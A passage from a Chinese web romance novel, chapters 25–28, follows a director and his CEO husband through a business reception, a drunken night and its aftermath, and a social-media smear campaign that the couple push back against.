“觉得什么？阿澈你饿了吗？我们去吃点东西吧！”
裴澈：“……”
因为晚上还要参加酒会，会供应糕点小食，在裴澈的强烈要求下，两人溜达到后门的小吃一条街，打算弄点零食垫垫肚子。
贺朝觉手边堆了一堆糖炒栗子壳，把剥好的栗仁推到裴澈面前。
裴澈咬了口热气腾腾的章鱼小丸子，笑吟吟把竹签送到贺朝觉嘴边：“好吃。”
说完，捻起一块栗仁：“糯糯的。”
贺朝觉眼睛都不眨地看了他一会，低头调出李特助的聊天窗口。
【[照片.zip]】
【这张按照之前说的处理，晚上送到酒店。[照片]】
“怎么了？”裴澈抬头，就看见对面的男人面色严肃，有点忐忑地点着手机。
公司有事？还是峰会出事了？
裴澈心头一紧，下意识伸头过去看。
贺朝觉一僵，手一点，一张放大的照片蹦出来占据了整个屏幕。
是室内照的其中一张。
照片里的裴澈站在窗边往外看去，贺朝觉在他身后默默看他。从玻璃反光的镜面中取景，就好像一个无声的拥抱。
“行了，知道你宝贝这些照片了！”裴澈有些哭笑不得，照片要是有实体，能给贺大爷盘到包浆。
说起来，这个风格确实挺新鲜的。
“可惜了。”裴澈突然感叹。
贺朝觉警觉抬头：？
裴澈眼神打趣，望向贺朝觉，“贺学长，可惜我入学太晚，要是咱们一起在学校，说不定能早点认识。”
贺朝觉被一句“学长”直击心灵，红红脸木了一会才轻声道：“是啊，那肯定很好。”
等等！他眉头一揪，忽然转向裴澈：“你是说，觉得现在认识晚了？”
#老婆对他相见恨晚！
吃完在校园又转了一会，两人驱车回酒店。
因为昨天嫌弃过贺朝觉的审美，今天出席酒会的着装，裴先生要亲自把关。
拎起一条酒红色领带在贺朝觉胸前比了比，裴澈突然扑哧一笑。
贺朝觉：“？？？”
“就是想起来，您这一天换的衣服也够多的。”
上午工作，赶回探班，中午聚餐，下午拍照连换两套，这会又添一套。
裴澈眼神亮晶晶带着揶揄：“奇迹觉觉。”
奇迹觉觉？那是什么？
奇迹觉觉眼神困惑地呆站了一会，任裴澈拿自己当衣架子使，等裴澈转身去找袖扣，他才看着裴澈的背影，轻轻道：
“你是奇迹。”
*
会展中心的大厅风格简约，带着浓厚的商务氛围，几何吊灯将整个空间映得明亮清新。
大厅中央放置了几张长形接待台，白色布幔覆盖的台面上摆放着精致果盘和各式冷餐，旁边排放的高脚杯闪烁着光泽。
“谢以寒说他要晚点到。”裴澈皱眉低头，随口和贺朝觉说。
那太好了！
贺朝觉欻一下环过裴澈，搂紧他的肩膀。
裴澈：“？
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？？”
“这是裴澈，是我的爱人。”
爱人二字咬得缠绵而珍重，仿佛某种宣告，或是某种宣誓。
要不是场合不对，裴澈真的会好感动哦。
他僵硬抬头，顶着对面西装革履男人惊愕中带着打趣的表情，努力挤出一抹得体微笑：
“赵总，晚上好。”
人一走，裴澈瞬间黑脸，咬牙切齿：“贺、朝、觉！你又干什么！”
贺朝觉小心翼翼看他，语气豪情万丈：
“今晚，我要让所有人知道——
“你裴澈，是我的爱人，是我真心喜爱的合法伴侣！”
“……”
裴澈扫了眼会场里“所有人”的含量。
两眼一黑了谢谢，受不起这么大一份礼。
贺朝觉浑然不觉，跃跃欲试地揽着裴澈要往右边走，那里扎着一堆三四个人正在聊天。
裴澈面无表情，猛地一指左边：“我看见谢以寒他爸了，去打个招呼。”
谢以寒他爸？
用来威胁裴澈的那个老头子？
贺朝觉瞬间身躯一直，把给裴澈正名抛在脑后。
该死，是他沉浸自己的小情小爱，竟然把谢以寒联合橘子娱乐和《锦云生花》坑害阿澈这件事忘了！
贺朝觉眼神担忧：“我和你一块。”
呵，在放弃“所有人”之前，还是不必了。
而且也有事交待他做。
裴澈指指门口，哄道：“谢以寒快到了，你去那边溜达溜达，等看见把他带过去找我们。”
贺朝觉不情不愿地去了，临走让裴澈照顾好自己，有危险就叫他。
裴澈：“？？？”
谢老爷子五十出头，头发略带灰杂，胡子打理得干净，人看起来很矍铄。
“谢叔叔。”
裴澈站到跟前，客气道了声好。
老爷子目光从他肩头飘过，似乎没看见想见的人，忙忙又收回去。
裴澈眼观鼻鼻观心，只当没看见。
“咳，小裴啊，这次叔叔对不住你，”老爷子轻咳一声，有点不好意思地开腔，“《锦云生花》那边是我调查没到位，哪想到和你打了场擂台，这不是大水冲了龙王庙了嘛。”
谢家做金融投资，但影视圈这块基本没有涉猎。前段时间裴澈调查《锦云生花》的资金链，竟然查到了老爷子头上，他也是很错愕。
裴澈试探性一条消息过去，老爷子撤资倒是爽快。
这就明显了，不涉足影视投资的谢家突然开始好奇这个领域，还能是因为谁？
裴澈微笑，没点出这个话头，只说：“还要感谢谢叔叔爽快，现下他们没了最大的资金来源，只会自乱阵脚了。”
点到即止，裴澈余光往右边一瞥：“说起来以寒在我们剧组客串戏份刚结束，听我说叔叔也在，急着要跟我一块来呢。就是不好意思见您，磨蹭了一点。”
老爷子吹胡子瞪眼：“我还不知道他，就是不想来见他老子！”
话是这么说，也忍不住朝裴澈看的方向看去。
贺朝觉正拎着谢以寒往里走，面色黑得能滴出水来，低声警告：“我劝你今晚不要轻举妄动！”
谢以寒眼神蔫蔫。
他滴个亲娘欸，怎么贺朝觉也加入绑架他和老头子和好计划了，这还有活路吗？
26.第 26 章
（上章酒会剧情大修，宝宝们重看一下吧么么）
刘劲今晚来酒会，主要是听说谢老爷子在，想和他套套近乎，搞清楚撤资的来龙去脉。
要是哪里有得罪人家，也好对症下药不是。毕竟，老爷子一时脾气从《锦云生花》撤资没什么，刘劲自个积蓄可还套在里面呢。
他拐过一道弯，刚到门口，眼尖瞧见前面不远处一道熟悉的背影。
刘劲下意识一抖。
晦气！怎么碰见谢以寒这尊祖宗！
业界不少人知道，谢以寒出道碰上霸王合同，脱了层皮才逃出来，欠了一屁股债。
但没人知道，和他签下合同的正是刘劲。回忆起前东家被谢以寒整垮的惨状，刘劲不禁一哆嗦，公司都没放过，他这个罪魁祸首还能善了？
刘劲轻手轻脚跟在谢以寒后面，大气都不敢喘。
好不容易快到门口，刘劲都听见里面觥筹交错的交谈声了。
欻地一下，一个身形高大的男人从门内冲出来，一把拎起谢以寒的领子，狠狠把他甩在墙上：
“我劝你，今晚不要对阿澈轻举妄动！收收你对他的坏心思！”
男人眉目冷峻，气势骇人，而且长得很眼熟！
刘劲愣在原地，这不是裴澈的丈夫，上次羞辱自己的那个贺朝觉吗？！
等等！他对谢以寒说什么？
刘劲心思急转，眨眼从其中获取了对自己有利的信息，贺朝觉阴鸷善妒，显然是抓到了谢以寒和裴澈首尾。
先不管这是真是假，他面对谢以寒都能这么不管不顾，要是知道……
想到自己手里掌握的爆料，刘劲忍不住双目放光，面露狠毒的贪婪，有了这些，他还怕裴澈吗？
刘劲想到一半，贺朝觉充满戾气的眼神朝他扫来——
“还有那边那个，橘子娱乐的，肮脏的心思最好不要让我看见。”
他吓得瞬间不敢动弹。
等贺朝觉拎着谢以寒走了，刘劲才心有余悸地抹掉额头的汗，不忿地看着贺朝觉的背影。
呸，老子是橙子娱乐的！
等着瞧吧，等你发现那些东西，看你还能不能……
……
贺朝觉把谢以寒提溜到裴澈跟前：“他到了。”
谢以寒本来还在挣扎，见了他爹瞬间神气，双臂一抱抬着下巴：“老头子。”
吊儿郎当的样子，不像如今台上风度翩翩的影帝，倒和当年裴澈刚认识他时没什么两样。
“臭小子。”谢老爷子气得两眼一瞪左右看，似乎恨不得有根拐杖在手边，抽死这个逆子。
谢以寒讥笑：“老头子，还没老到拄拐杖吧。”
说完倒是很怂，火速退到裴澈身后。
裴澈：“……？”
贺朝觉在一边冷嗤”一声，欻一下把谢以寒推回去。
“阿澈，我们走吧。”
谢以寒：“？？？”
面对谢以寒求救的眼神，裴澈毫无兄弟情谊地微笑：“好啊。谢叔叔，您和以寒先聊，我和朝觉就不打扰了。”
贺朝觉满意牵过阿澈，凑到耳边问他：“没受欺负吧？”
就在这时，一道略带惊讶的声音在他们背后响起：“谢老，您怎么在这？”
等贺朝觉和裴澈双双回头，刘劲眼神更震惊了。
怎么回事，谢老怎么和谢以寒、裴澈站在一块，还相谈甚欢？！
谢老爷子微微眯起眼：“不好意思，年纪大了眼神不太好，你是？”
刘劲点头哈腰：“谢老，我是橙子娱乐的小刘啊，咱们在《锦云生花》项目有过一面之缘。”
听到《锦云生花》，谢老爷子瞬间脸色一变，刷地看向谢以寒：“你可别瞎说，我没投过什么《锦云生花》。”
裴澈：“……”
老爷子是真慌啊，这不是此地无银三百两吗？
谢以寒眼神困惑，好像想问什么。刘劲一个箭步上前把他和谢老爷子隔开，躬身关切：“您这是要改投《半生烟梦》吗？谢老，可不能被骗了呀！”
他痛心疾首，神态间颇有为谢老爷子叫屈的意思：“这个谢以寒，业界谁不知道，从前东家叛逃欠了一屁股债。还有裴导——”
刘劲停顿扭头，不怀好意地看向裴澈：“裴导，这不是我污蔑你，但恐怕最近我们都要看见关于你的大新闻了。”
谢老爷子僵在原地，像是被他的话镇住，刘劲得意回头，打算趁热打铁：“您对影视圈不——”
欻地一下，刘劲只感觉周围东西猛地打转，等回过神来，发现自己竟然被谢老一把从跟前掀开了！
刘劲：“？？？”
谢老爷子看都没看他一眼，贼紧张地问谢以寒：“你欠债了？多少钱？怎么也不和我说一声？”
是了，就是这个态度！
刘劲两眼放光，现在你认清楚他了——
“我帮你还啊！”
刘劲：“？？？”
“谢老，您可不要被他蒙蔽了，别看他衣冠楚楚的……”
“不用你还！”这是谢以寒倔强的声音。
刘劲震声盖过他：“又装作品德高尚的样子……”
谢以寒和谢老爷子对视一眼，烦躁又心虚地补了句：“谢谢爸。”
刘劲：“你看他还是……”
“？？？”
“！！！”
刘劲不敢置信地转身，他好像耳朵不太好，刚刚是不是听见谢影帝叫谢老爷子叫……
谢老爷子眉头紧锁，脸色很不好看，转向刘劲神色不怒自威：“我自己看着长大的儿子，品行怎么样心里有数。倒是你们橙子娱乐，谢某合作不起，《锦云生花》以后也不要再提了。”
怎么会这样……
灰败离去的刘劲，万念俱灰。
谢以寒和谢老爷子，他们怎么会是父子……谢氏唯一的公子，好端端来娱乐圈闯什么啊！
投资没要回来，得罪了谢老爷子，《锦云生花》只怕不会有新投资了。
都是裴澈！刘劲咬牙切齿，都是他的错！
不过不要紧，他根本想不到，自己手里捏着什么样的黑料。
要是贺朝觉知道自己护得眼珠一样的爱人背地里潜规则男演员，他还会这么伏低做小关怀备至吗，还是说这个可怕的男人会……
刘劲步入阴影里，脸上逐渐露出癫狂的神色。
*
免费看了一出戏，裴澈幽幽表示：
“脑子不用，可以捐给有需要的人。”
谢以寒狠狠赞同：“澈澈说的对，他人挺逗的哈哈哈。”
谢老爷子还想关心谢以寒债务的事，裴澈拍拍贺朝觉的手，打算告辞离开。
贺朝觉没反应。
等等……裴澈后知后觉，从刚刚开始，贺朝觉是不是有点过于安静了？
“贺朝觉？”他回过头，小声唤爱人的名字。
眼神迷蒙脸颊酡红的男人，眉目间的线条越发流畅。他顶着那张帅脸下意识地朝裴澈看来，疑惑：“嗯？”
哼声和蚊子似的。
裴澈：“……”
他深吸一口气，拦住过路的一位侍者：“不好意思，请问今晚有高浓度酒精饮料吗？”
侍者指指托盘中的两杯酒：“先生，有的，比如说这两支就是调和酒，多饮会容易醉，不建议短时间大量饮用。”
裴澈看着那熟悉的颜色，眼神呆滞。
他不知道贺朝觉喝了多少，但绝对超过了不大量饮用的范畴。
……
把醉鬼从副驾驶座上拖起来，裴澈心累地拉过他的胳膊，圈在自己肩上。
“啪”地一声，裴澈背上一轻。贺朝觉猛一收手，扶着车门面容森寒。
“？？？”
裴澈试探问道：“你清醒了？”
“我没醉！”这句话果然是醉酒被动技能，贺朝觉说完就朝车门一软，但等裴澈去扶，他又猛地躲开站正，皱眉道，“你是谁！”
不等裴澈回答，他又自顾自说：“我老婆一会要来接我！”
说着语气软下来，表情也变得非常自豪。
裴澈面无表情凑到他面前，在贺朝觉躲开前狠狠伸手挤住他的脸颊：“那你看看我是谁！”
贺朝觉迷迷蒙蒙地看，完了一把抱住裴澈，响亮地“啵”了一声：“老婆，你来接我了！刚刚有个奇怪的人！”
奇怪的人·裴澈搀扶着贺朝觉登上酒店电梯。
幸好这个点没有其他人。
不然大家就要被迫欣赏贺总的醉酒秀，
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包括但不限于——
抱着裴澈呜呜说对不起，问他哪里对不起就欻欻摇头，深情凝视裴澈并表示如果能永远这样就好了，以及执着地给裴澈暖肚子但醉得分不清肚子在哪里，差点摸到腿肚子上以至于显得更加变态，等等等等。
裴澈从贺朝觉口袋里掏出房卡，抬头却看见李特助朝这个方向走来。
“裴先生，”他高兴上前，目光移到贺朝觉身上凝固了，“BOSS这是喝了多少，怎么醉成这样？”
裴澈摇摇头：“没事，来搭把手。”
两人一起把贺朝觉转移到沙发上，裴澈问：“你这么晚过来，找朝觉有事？”
“是……”李特助欲言又止，看了眼貌似睡死的BOSS，“给BOSS送东西。”
“拿给我吧。”
李特助犹豫了一下，取出一个包装精美的扁平方形盒子，咽了口唾沫。
这里面可装着……他抬眼看裴先生，不确定要不要给他。
裴澈疑惑道：“礼品？”
李特助慢吞吞：“对，装裱好的相片，BO……”
不知道听见了什么关键词，沙发上的男人突然一个鲤鱼挺身，直直坐了起来。
他双眼亮得出奇，神色严肃，带着一点哀伤。
裴澈和李特助还没反应过来，醒来的贺朝觉三两步走到茶几边，一把夺过李特助手里的盒子，紧紧攥在手里：
“是阿澈的礼物！”
……
李特助走了，抱着盒子不松手的贺朝觉又恢复了醉与醒的叠加态。
“是我的礼物，怎么不给我看？”裴澈无语地捏他的脸。
贺朝觉可怜巴巴地抬头：“阿澈会砸了它吗？”
“？？？”
不能和醉鬼讲逻辑，裴澈深吸一口气，保证道：“不会。”
贺朝觉有点欢喜，又有点犹豫：“其实也可以砸的。”
裴澈：“？？？”
到底是让砸还是不让砸？总不是包着个扁平形彩蛋吧？
裴澈被自己逗笑了，低头去看贺朝觉：“我不砸，你送我的礼物，肯定会好好保管的。”
贺朝觉好像松了口气，低头哐哐拆包装。
虽然觉得那个似乎是自己的活，但裴澈不和醉鬼抢。
贺朝觉从包装里剥出一个小相框，很郑重地递给裴澈：“阿澈，这个是送给你的礼物。希望你……”
有那么一瞬间，他的眼神仿佛恢复了幽深，很快又被醉意盖过去，裴澈也就没听见这句话的后续。
他拿起相框，手指抚过两人的合影。
是下午的照片，在贺朝觉手机上见过的那一张，穿着少年气的休闲服在窗边。
“怎么选的这张？”裴澈轻声问，可惜醉鬼没法给他答案。
放下照片里仿佛背后的无声拥抱，裴澈弯下身子，轻轻给了醉酒的爱人一个拥抱：“谢谢你的礼物，我很喜欢。”
不管是S影，还是特意腾出行程陪他，裴澈都很喜欢。
但他的心里总有不满足，“要是……”
要是那个正常的爱人能回来，就好了……
下一秒，天旋地转，裴澈被贺朝觉一把拉近，翻身压在身下。
男人低头看着他，目光深邃而专注，仿佛他是世间唯一的存在。
裴澈声音有点抖：“朝觉？”
贺朝觉伸出手指，带着微醺的酒气和迷醉的温度抚上裴澈的脸，所过之处激起一阵战栗。
他面颊滚烫，忍不住伸出双手勾住贺朝觉，把他拉得更近。
男人的喉结微不可见地滚动两下，覆身下来……
夜半的灯火通明，只有立在几上的照片见证了一切……
第二天一早，腰微微酸软的裴澈懒洋洋从床上醒来，闻见早餐的味道，他眼睛都没睁，哼了声爱人的名字，指望和从前一样，得到一个贴心的早安吻。
房间寂静无声。
裴澈：？
他猛地睁开眼睛，贺朝觉已经不见了。
衣服被收拾得整整齐齐叠放在床头柜上，上面倒扣着那个相框，相框下面还压着一张纸条。
裴澈额头突突，拿起纸条，潦草字迹尽显主人的悔恨纠结，上面写着——
“你随时可以改变心意。”
27.第 27 章
纸条是从便签本上撕下来的，断口并不利落，可以窥见撕纸人当时犹豫的心绪。笔迹很重，透着凌乱，仿佛颤抖着手写下。
你随时可以改变心意。
意字末尾一点被水渍化开，泡胀得有点滑稽。
短促的震惊和无语褪去，裴澈盯着那糊开的硕大一点，大脑有点空白。
贺朝觉难道哭了？
为什么？
裴澈怎么也想不明白，心绪复杂地扫视房间，视线停留在边几上的精致早餐。
昨晚明明气氛很好，还给自己做了早餐，他怎么会突然留下一张纸条不见踪影？
简直比古早霸总小说女主清晨跑路还利落！
裴澈紧紧攥着纸条，一时茫然又有无名火起，气得牙根痒痒。
不行，哪里不对，得赶紧把贺朝觉提溜回来问清楚。他黑着脸低头，调出通讯录，熟练地输了个‘z’。
朝觉。
手指要触到名字，裴澈又蓦地一停。不知怎么，小吃街在贺朝觉屏幕上蹦出来的那张照片突然浮现在他脑海里。
正是昨晚被郑重其事送给自己的同一张。
出于某种怪异的直觉，裴澈视线重新落回到床头柜倒扣的相框上，忍不住伸手将其扶正。
作为导演，他对镜头语言很敏感。从旁观者的角度去审视这张照片，自己倚窗外眺，贺朝觉站在背后，玻璃倒影里的对视烘托起情意，但整体氛围还是有些怪异。
因此裴澈一直有疑问，贺朝觉为什么会挑这一张？
“……如果能永远这样就好了。”
昨晚爱人醉酒的种种情态翻涌上来，裴澈回忆着他可怜巴巴求爱的样子，心头猛地一跳，如果贺朝觉是故意挑的这张呢？
念头一起，这段时间被裴澈忽略过去的怪异都涌上来。
医院那天，贺朝觉说过很多“交易”、“强迫”之类的话，还一度要和裴澈保持距离，后来两人关系渐渐亲密，裴澈就没放在心上。
要是……要是他一直没有放弃这些想法呢？
裴澈全身血液都冻结了，这些天自己以为甜甜蜜蜜时，贺朝觉心里到底在想些什么？！
……
机场，李特助推着行李箱健步如飞，追赶在BOSS后面。
天杀的，一大早就火急火燎要赶最早的航班回去，还叮嘱接到裴先生电话不要给他。
呸，不知道又干什么亏心事了！
李特助只敢心里蛐蛐，为昨夜看见CP甜蜜复合欢呼雀跃的天真自己默哀。
“叮铃铃——”
BOSS放在他这的手机突然响起来，前面的贺朝觉瞬间脚步一顿，面色凝重地转头，被墨镜遮挡的眼睛欻地看过来。
李特助抖着手接通：“喂，裴——”
还没说完，那边非常强势打断：“让贺朝觉接电话。”
裴澈声音冷硬沉静，仿佛压抑着火气。李特助一下卡壳，顿了顿才说：“裴先生，公司急事，BOSS和我正在机场，他、他过安检呢接不了。”
电话这头，青年眉头动都没动。
贺朝觉在机场的消息没震惊到裴澈，恰恰相反，这种反常的逃避行为正好印证了他的猜测。
心沉无可沉，态度愈发镇定，语气笃定重复道：“让他接电话。”
李特助哭丧着脸，对BOSS比了个口型，摇摇头。
裴先生一定要找您！
贺朝觉狠狠瞪了没用的李特助一眼，心情沉重地接过手机。
他下叮嘱时，其实没想过裴澈真的会给自己打电话。
昨晚是一场完完全全的错误。
在酒精作用下，自己终究还是对裴澈酿下大错！这样的禽兽行径，一下把好不容易建立起来的良性关系打回谷底。
他宁愿裴澈恨他，他应该恨他。
贺朝觉心情复杂地闭了闭眼，裴澈不应该给他打电话，不应该在这个时候，给伤害了自己的人打电话。
他应该生气，应该砸碎那个相框，他会发现那个东西……
他独独不应该真的对自己产生变态的依恋。
贺朝觉心里担忧而恐慌，不知道要用什么态度面对裴澈，也不知道自己会听到什么。
纷乱的想法一闪而过，在现实中只是短短一瞬。
贺朝觉将手机举到耳边，声音沙哑：“喂，是我。”
长久的沉寂。
贺朝觉通红的眼底闪过痛色，也是，他们之间还有什么可说。
“额，BOSS，”李特助在一边小心翼翼，“你好像不小心按掉了。”
贺朝觉拉开距离看屏幕：？
同一时间，空荡荡的酒店套房里，裴澈缓缓看向手机，咬牙切齿地露出一抹狞笑。
很好！长本事了！都敢挂他电话了！
面无表情给小陶拨去一通电话：
“帮我改到接下来最早的航班，不和剧组一块回了。”
*
裴澈轻装上阵，只匆匆带上相框照片，把贺朝觉准备的早餐撇在脑后。
头等舱帘幕拉起，柔和灯光调至适合休息的昏暗状态。
拒绝空姐供餐提问，裴澈只要了一杯清水，裹着毯子靠坐在座位里。
匆匆赶飞机，过度情绪冲击留下的钝疼迟一步袭来，在额头突突地跳。裴澈按揉着眉心，试图整理思绪，却怎么也没法集中注意。
这些天和贺朝觉的相处细节乱七八糟蹦进脑子里，一个一个，越想越可疑。
裴澈生气爱人的逃避，更懊恼自己的失职。
他居然什么都没有发现！居然理所当然地觉得复查没问题，那些后遗症就是好了，后续慢慢就会恢复。
太粗心了，太疏忽了。
裴澈手指轻轻摩挲着相片，疲惫的眼神渐渐坚定，不管怎么样，他们得一起面对这些问题。
贺朝觉！裴澈轻轻磨牙，别以为你跑了我就找不到你！
你给我等着！
……
飞机落地滑行，裴澈立刻掏出手机，给贺朝觉去了个消息：【我马上去辰辉，最好不要让我发现你逃跑了。[微笑]】
发完也没等对面回应，锁屏静音一条龙。
黑色的沃尔沃奔驰在回市区的路上。小陶没跟着一起，开车的是提前安排好的代驾。
裴澈撑着头靠在后座里，紧绷情绪回到熟悉地方松懈下来，生出几分昏沉。
一旁，静音的手机在皮质座椅里挣扎着亮了几次，闭目养神的青年都没有看见。
司机从后视镜瞥过一眼，出声提醒：“先生，您有电话。”
“多谢。”
裴澈揉着太阳穴，取过手机，眼神落在屏幕的信息上，骤然一凛。
小陶：【老板，见消息回复，橙子娱乐出手了。[链接]】
裴
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澈迅速点开，滑过发来的热搜页面，然后拇指一动，拨通了小陶的电话。
与此同时，小陶正坐在电脑前。页面一刷新，屏幕上的数据以肉眼可见的速度攀升，全是关于裴澈的讨论。
舆情救急如救火，一刻也等不得了！
她刚打算给代驾师傅打电话，老板的电话过来了，让她舒了一口气。
电话接通，裴澈声音镇静利落：“简短汇报情况。”
舆论是从早上开始出现不对的。
之前 #全网寻找的清冷美人话题意外爆火，本来热度已经慢慢下去，被背后橙子娱乐系的营销号推着，又被顶上来几次。
反常反复营销，引起网友的逆反情绪。
今天早上8点多，有人在广场开始带节奏，质疑这个所谓的 #全网寻找的清冷美人纯属自炒。
tag里面还是颜党占多数，一下子被惹毛了，表示质疑的人就是吃不到葡萄说葡萄酸。
两边唇枪舌战，一边攻击对方没脑子，另一边攻击对方长得丑。
前期的争吵还只围绕在颜值上，直到9点左右，一个营销瓜号突然发布的视频小爆——
【这是你们要找的清冷美人吗，还不速来认领[挖鼻][视频]】
视频明显是偷拍视角，长相眼熟的清冷青年和另一个白净的年轻男子从酒店出来，自然地坐进了同一辆车。
骂战双方瞬间炸了，骂照片主角一方得意洋洋抓住把柄，攻击他的私生活：【长见识了，你们家清冷人设没事去开房。】
另一边战斗力渐渐不够，但还能勉强洗一下是素人的隐私和自由：【说不定是人家男朋友，怎么小情侣恩爱酸到你了是吧？】
“背后的人仿佛预判了这一风向，随后就有假路人站出来披露了您和易帆的身份。”
“本来吵吵架热度很快会下去，因为牵扯到娱乐圈，一下子大爆了。”小陶简明扼要，语气有点焦急，“现在已经挂上‘热’标签，背后有人助推流量，热搜排名还在不断上升。”
#新生代导演潜规则剧组新人
裴澈看着热榜话题，揉着额头低低嗤笑一声。
真是一点新意都没有，来来去去还是那档子事。
“没事，之前让你做的准备都好了？”裴澈声音沉稳，胸有成竹。
“嗯，联系了几家营销号，背后干净可以用。”
“好，你把视频发给他们，把话题往这个方向引，但注意让他们不要直接下场定论。”
裴澈发送过去一段视频，简单交代一番，听得小陶紧结的眉头都舒展了。
“太好了老板，我这就去弄！”
“额，对了，”小陶想起来一事，声音又有点打结，“……谢以寒的粉丝也下场了。”
裴澈骤然清醒：“？？？”
“《半生烟梦》由您执导被扒出来，有所谓圈内人爆料，谢以寒在其中客串。”
靠！裴澈方才沉稳的态度瞬间烟消云散。
谢以寒，认识这么多年还是了解的。
没有问题时，他就是最大的问题。
希望现在还不晚……
裴澈点开谢以寒的主页，瞬间两眼一黑，如遭雷击——
谢以寒v：【#新生代导演潜规则剧组新人看了三遍还是这么好笑，就这么说吧，我送上门给澈澈潜，他都不潜！】
发送时间，一分钟前。
28.第 28 章
“老板，怎么了？”听见抽气声，电话那边的小陶察觉不对，小心翼翼问道。
裴澈再度深吸一口气，缓缓吐出，想要强迫自己平静下来。
下一秒，听筒那头的小陶不知道看见什么，一句响亮的“卧槽”飞速响起。
好了，不用解释了。
裴澈一手扶额，另一只手扣在车座上，指尖均匀有规律地敲打座椅，视线划过窗外飞速溜过的街道，脑海里迅速排演着可能的解法。
联系谢以寒删帖，不用想，直接划掉。
身为目前最炙手可热的双料影帝，谢以寒在某博坐拥数千万粉丝，裴澈很清楚，其中女友粉和事业粉的含量都不小。
不管是哪个角度，这些粉丝群体都没法接受谢以寒玩笑的一句话。
短短几分钟，已经足够这件事发酵。而且热度一定会很快超过他和易帆被偷拍这件事，彻底把水搅浑。
如果不是裴澈留有后手，让谢以寒搅一下浑水也算是个优解。
但现在，呵呵，后手视频发出去估计连个响也听不到。
只怕各路新闻媒体营销号都已经疯了。
“叮”地一声，裴澈低头看向通知栏，果然——
【斑鸠新闻：谢以寒隔空护爱？称，我愿意送上门给他潜规则！】
“什么乱七八糟的？”
贺朝觉瞥一眼亮起的手机，狠狠转了一圈转椅。
正烦着呢，没想到裴澈追自己追得这么紧，算算车程都快回市区了。
他在办公室煎熬得像热锅上的蚂蚁，团团打转，一会一个主意。借口开会，真的开会，假装去其他公司谈合作，真的去其他公司谈合作，故作生病回家，真的把自己整生病……哦这个不行，躺家里那不是送上门。
这节骨眼上，浏览器推送什么谢以寒的新闻，还隔空护爱，不知道自己烦他吗？他爱谁护谁和自己有什么关系？
贺朝觉伸手一划，眼不见为净，打算把推送关掉。
下一秒，页面跳转，关闭不成反而不小心点进来了。
贺朝觉：？
他烦躁地皱起眉头，黑着脸捏紧手机，简直想让这个倒霉浏览器原地消失。
但几乎同时，加载成功的页面里，一个显眼而熟悉的名字跳了出来。
贺朝觉关闭页面的动作瞬间一顿，眼神刹那黑沉下来，变得极为骇人。
*
小晴是从前几天开始觉得不对劲的。
她那条#全网寻找的清冷美人博文小爆出圈，之后热度很快就下来了。评论区一直也是磕颜为主，氛围很不错，很有活人感。
直到最近，像是混进了什么水军，机器人似地复读一些奇怪的赞美。
隐隐不安在她心头萦绕几天，终于引爆了。
小晴看着屠爆广场的酒店视频和紧随其后的#新生代导演潜规则剧组新人词条，感觉自己被卷进了大事。
群聊【不准觊觎我老婆】
清冷美人就应该在下面：【靠靠靠！怎么回事啊，怎么突然爆出这么大的瓜！】
群成员们超级活跃，一下就刷屏几十条。
【史上最快塌房了，家人们[大哭]】
【呜呜呜我不相信，还我清冷美丽的老婆[尔康手][大哭][大哭]】
【姐妹们！记住我最后的遗言！珍爱生命，远离三次元男人！】
还不肯相信等待反转的是少数，大部分都多多少少信了，毕竟短短几天，通过颜值建立起来的粉丝基础过于脆弱。
小晴刷了半天，没看见自己想要的回复。她紧紧捏着手机，酝酿一下措辞，打算问有没有人觉得被带节奏了。
还在打字，群聊页面突然弹出来一句卧槽，紧接着引发了一排卧槽刷屏。
不是，又怎么了？
小晴把打好的字先删了，重新打了一行。
下一秒——
【群管理我真该死啊禁言了所有人】
小晴：？
一条简明扼要的消息瞬间刷新出来，来自榜一大哥。
我真该死啊：【为什么在谢以寒的评论区回复，上不去前排？】
贺朝觉眉头皱得能夹死苍蝇，指头戳在屏幕上快得几乎搓出火星子。
谢以寒博文下面基本都是在震惊吃瓜，还有她的粉丝激情辱骂裴澈，表示谢以寒被小人蒙蔽，纯属糊涂啊！
这怎么能忍！贺朝觉当然一条一条骂回去了，又连发几条评论骂谢以寒。
但这些评论，一刷新就石沉大海，一点痕迹都没留下，根本不像他在【清冷美人就应该在下面】的评论区那样，前排清晰可见。
清冷美人就应该在下面：【……】
【吃完新瓜回来了】
【姐妹你要干嘛，别冲动，脱粉回踩不至于啊】
贺朝觉皱眉，什么是脱粉回踩？
我真该死啊：【他们骂我老婆，我要骂回去！】
清冷美人就应该在下面：【……】
【……姐妹，没想到你才是真爱啊】
看了半天群聊，也没得到想要的答案，贺朝觉干脆给李特助打电话。
李特助也看见热搜了，一接到电话连忙问：“BOSS，裴先生那边的舆论暂时压不下去，我们怎么处理？”
贺朝觉开门见山：“怎么评论上前排？”
李特助：“啊？”
贺朝觉脸一沉，耐着性子重复一遍：“我问你，某博的评论区，怎么上前排？”
李特助从业数年，第一次收到这么奇怪而具体的问题，但他的职业素养经得起考验。
半分钟后，成功切换到黄v大号的贺朝觉，极为熟练地在谢以寒评论区输出一条。
手指下拉，放开刷新。
一条来自互关好友的评论出现在置顶——
贺朝觉v：【放屁，离我老婆远点！】[加载中]
很好……等等！加载中？
*
裴澈放下手机，揉揉阵痛的眉心，微微松了口气。
和谢以寒沟通好，定下接下来的舆论战方向，他总算对这件事恢复了一点掌控感。
只要事情按计划发展，接下来不仅能成功反黑，还能让背后之人跌个跟头。
青年倚在车窗边，半阖起眼睛，让凉风带走心头噪意。
车速渐渐放缓，熟悉的景色出现在窗外，代驾侧头：“先生，到目的地了。”
他没忘记，眼下还有一件要紧事要干！
想到贺朝觉，一下车，裴澈又恢复了咬牙切齿的状态，风风火火路过前台，直接上了总裁专属电梯。
与此同时，贺朝觉却已不在顶楼办公室了。
那个“贺朝觉”把辰辉搞得乌烟瘴气，真是废物到家了。
好
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好的大白天，突然进行网络设备维护，李特助发消息给他，说网络信号不稳定，越往上的楼层信号越差。
贺朝觉面色漆黑如墨，端着手机一路坐电梯下到食堂，评论后面转圈的[加载中]图标也没刷新掉，索性直接来了对面楼的咖啡厅。
正是之前裴澈和易帆试镜的那家。
连上WIFI，再次刷新——
贺朝觉v：【放屁，离我老婆远点！】
咖啡厅昏暗的角落里，带着墨镜的男人看着出现在置顶的评论，终于稍稍松开了眉头。
但是不能松懈，还有这么多人在骂他老婆！
下一秒，他拇指飞动，开始在手机屏幕上翻出幻影。
谢以寒的粉丝群里。
【不是，那个贺朝觉是谁啊？】
【靠，我被他连骂十条，他权重怎么这么高啊，还和哥哥是互关？！】
【辰辉公司总裁？有人听说过这个公司吗？】
一个黄v号，实名在谢以寒的博文下面发癫，很难不让人好奇他究竟是谁。
